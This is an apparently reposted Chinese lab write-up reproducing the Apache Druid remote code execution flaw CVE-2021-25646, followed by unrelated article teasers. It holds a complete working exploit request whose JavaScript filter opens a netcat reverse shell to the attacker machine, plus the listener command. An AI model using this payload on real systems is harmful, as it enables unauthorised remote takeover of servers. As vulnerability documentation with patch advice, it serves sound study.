Apache Druid 代码执行(CVE-2021-25646)漏洞复现

Druid简介与漏洞成因

Apache Druid是一个高性能的实时分析型数据库,旨在对大型数据集进行快速查询分析。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。主要应用于:点击流分析、网络监测分析、服务指标存储、供应链分析、应用性能指标分析、数字广告分析、商务智能 / OLAP

2021年1月17号,阿里云安全@Litch1向Apache官方报告了Apache Druid远程代码执行漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646

该漏洞的成因是攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令

# 实验环境

靶机:192.168.10.1 攻击机:192.168.10.130

# 漏洞复现

该漏洞为无回显的命令执行漏洞,但是我们可以通过服务器返回的状态码判断命令是否可以执行

执行成功返回的状态码为200,响应包如下:

image20210720124429228.png

执行失败返回的状态码为500,响应包如下:

image20210720124321825.png

经过测试发现存在 nc,可以用于反弹shell,所以我们在攻击机上使用命令nc -lvvp 2333开启监听,等待反弹shell

image20210720132333559.png

访问 192.168.10.1:8888(druid默认监听8888端口)确保服务正常访问

image20210720122755167.png

使用burp抓包,构造请求包如下,并发送

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.10.1:8888
Content-Type: application/json
Content-Length: 1005{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

请求成功,返回状态码200,并成功拿到反弹shell

image20210720133320844.png

# 修复建议

  1. 更新apache Druid到最新版本
  2. 限制非信任的设备对服务的访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/845165.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3---C++之list(逻辑梳理、简单使用演示、部分源码实现)

一、先决知识点1——认识list: list底层实现是双向链表,但是不是循环链表。list是否使用哨兵节点,是细节问题,C标准并未规定。list是链表,他的优势在于对节点的操作会十分灵活,因此它在需要频繁插入和删除元…

【UnityShader入门精要学习笔记】第十六章 Unity中的渲染优化技术 (下)

本系列为作者学习UnityShader入门精要而作的笔记,内容将包括: 书本中句子照抄 个人批注项目源码一堆新手会犯的错误潜在的太监断更,有始无终 我的GitHub仓库 总之适用于同样开始学习Shader的同学们进行有取舍的参考。 文章目录 减少需要处…

德人合科技——天锐绿盾内网安全管理软件 | -文档透明加密模块

天锐绿盾文档加密功能能够为各种模式的电子文档提供高强度加密保护,丰富的权限控制以及灵活的应用管理,帮助企业构建更严密的立体保密体系。 PC地址: https://isite.baidu.com/site/wjz012xr/2eae091d-1b97-4276-90bc-6757c5dfedee ————…

Chatglm3-6b报错处理

目录 AttributeError: ChatGLMTokenizer object has no attribute sp_tokenizer AttributeError: ChatGLMConfig object has no attribute max_sequence_length AttributeError: ChatGLMConfig object has no attribute position_encoding_2d AttributeError: ChatGLMConfi…

BioVendor—sHLA-G ELISA试剂盒

人类白细胞抗原-G (HLA-G)与其他MHC类基因的不同之处在于它的低多态性和产生七种HLA-G蛋白的选择性剪接,这些蛋白的组织分布局限于正常的胎儿和成人组织,这些组织对先天和后天免疫细胞都具有耐受性。可溶性HLA-G是一种免疫抑制分子,诱导活化的…

详细解析Barlow Twins:自监督学习中的创新方法

首先先简单了解一下机器学习中,主要有三种学习范式:监督学习、无监督学习和自监督学习: 监督学习:依赖带标签的数据,通过输入输出映射关系进行训练。无监督学习:不依赖标签,关注数据的内在结构…

pikachu靶场(unsafe upfileupload(文件上传)通关教程)

目录 client check 1.在桌面新建一个文本文档 2.保存为.png格式 3.打开网站 4.按照图中操作 5.点击forward 6.访问 MIME type 1.新建一个php文件,里面写上 2.上传文件,就是我们保存的文件 3.打开抓包工具,点击开始上传 4.修改Conen…

ADC数模转换器

一、ADC(Analog-Digital Converter)模拟-数字转换器 1、ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量,建立模拟电路到数字电路的桥梁 2、12位逐次逼近型ADC,1us转换时间 3、输入电压范围:0~3.3V&a…

20分钟快速入门SQL

SQL(Structured Query Language,结构化查询语言)是一种专门用来管理和操作关系型数据库的编程语言。以下是SQL入门的一些基础概念和教程: 1. SQL基础 数据库(Database):存储数据的集合。表&am…

【K8s】专题四(2):Kubernetes 控制器之 Deployment

以下内容均来自个人笔记并重新梳理,如有错误欢迎指正!如果对您有帮助,烦请点赞、关注、转发!欢迎扫码关注个人公众号! 目录 一、基本介绍 二、工作原理 三、相关特性 四、资源清单(示例) 五…

C-数据结构-平衡二叉树

平衡二叉树(Balanced Binary Tree)是一种二叉树,其中任意节点的两棵子树的高度差不超过 1。也可以说是一棵空树或者左右子树高度差不超过 1 的二叉树。 特点和性质 高度平衡:平衡二叉树是一种高度平衡的二叉树,任意节…

Java进阶指南:高级面试问题与精辟解答(六)

Java 面试问题及答案 1. 请解释 Java 中的多线程概念,并说明如何实现一个简单的多线程程序? 答案: 多线程是 Java 中的一个核心概念,它允许同时执行多个任务,从而提高程序的效率和响应性。在 Java 中,可以…

Golang获取文件名扩展名/后缀

在Go语言中,可以使用path/filepath 标准库中的Ext函数来获取文件的扩展名(也就是后缀)。以下是一个简单的示例代码: package mainimport ("fmt""path/filepath" )func main() {fileName : "example.txt…

【Linux】多线程——线程概念|进程VS线程|线程控制

> 作者:დ旧言~ > 座右铭:松树千年终是朽,槿花一日自为荣。 > 目标:理解【Linux】多线程——线程概念|进程VS线程|线程控制 > 毒鸡汤:有些事情,总是不明白,所以我不会坚持。早安! &…

产品上市新闻稿怎么写?纯干货

一个产品的上市,想要达到一个非常好的宣传效果,前期的预热造势是必不可少的,投放产品上市新闻稿到权威专业的媒体,潜移默化去影响用户的心智,产品上市新闻稿怎么写?接下来伯乐网络传媒就来给大家分享一下&a…

【WEEK14】学习目标及总结【Spring Boot】【中文版】

学习目标: 学习SpringBoot 学习内容: 参考视频教程【狂神说Java】SpringBoot最新教程IDEA版通俗易懂Shiro Shiro请求授权的实现(后半部分)Shiro整合Thymeleaf Swagger 简介SpringBoot集成Swagger配置扫描接口,配置Sw…

重生之 SpringBoot3 入门保姆级学习(10、日志基础与使用)

重生之 SpringBoot3 入门保姆级学习(10、日志基础使用) 3.1 日志基础3.2 使用日志3.2.1 基础使用3.2.2 调整日志级别3.2.3 带参数的日志 3.1 日志基础 SpringBoot 默认使用 SLF4j(Simple Logging Facade for Java)和 Logback 实现…

码蹄集部分题目(2024OJ赛17期;二分+差分+ST表+单调队列+单调栈)

1🐋🐋小码哥处理订单(钻石;二分差分) 时间限制:1秒 占用内存:128M 🐟题目描述 🐟题目思路 【码蹄集进阶塔全题解07】算法基础:二分 MT2070 – MT2079_哔哩…

Element ui 快速入门(基础知识点)

element ui官网 前言: 在当今时代,我们在编写计算机程序时,不仅仅是写几个增删改查的简单功能,为了满足广大用户对页面美观的需求,为了让程序员们写一些功能更简便,提高团队协作效率,所以eleme…

python操作mongodb底层封装并验证pymongo是否应该关闭连接

一、pymongo简介 github地址:https://github.com/mongodb/mongo-python-driver mymongo安装命令:pip install pymongo4.7.2 mymongo接口文档:PyMongo 4.7.2 Documentation PyMongo发行版包含Python与MongoDB数据库交互的工具。bson包是用…